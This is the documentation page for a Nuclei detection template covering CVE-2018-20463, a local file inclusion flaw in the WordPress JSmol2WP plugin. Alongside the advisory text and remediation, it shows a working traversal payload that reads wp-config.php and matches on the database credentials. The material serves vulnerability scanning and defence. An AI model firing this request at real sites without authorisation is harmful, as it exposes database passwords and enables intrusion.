Skip to content
Nuclei Templates

WordPress JSmol2WP <=1.07 - Local File Inclusion

ID: CVE-2018-20463

Severity: high

Author: vinit989

Tags: cve,cve2018,wp,wp-plugin,wordpress,jsmol2wp,wpscan,traversal,jsmol2wp_project

Description

Section titled “Description”

WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.

YAML Source

Section titled “YAML Source”
id: CVE-2018-20463


info:
  name: WordPress JSmol2WP <=1.07 - Local File Inclusion
  author: vinit989
  severity: high
  description: |
    WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/9197
    - https://wordpress.org/plugins/jsmol2wp/
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
    epss-score: 0.01939
    epss-percentile: 0.88381
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jsmol2wp_project
    product: jsmol2wp
    framework: wordpress
  tags: cve,cve2018,wp,wp-plugin,wordpress,jsmol2wp,wpscan,traversal,jsmol2wp_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_USER',"
          - "'DB_PASSWORD'"
        condition: and


      - type: word
        part: header
        words:
          - text/plain


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210097b0d5caab5c57a9a2aaee2a096647ea55acf4d66a2d5b3b7aa462036ec59dc4022100f4533c86d052442b4d8939c0858aa55b1bbe953f77aa699dd472b5bf31305378:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-20463.yaml"

View on Github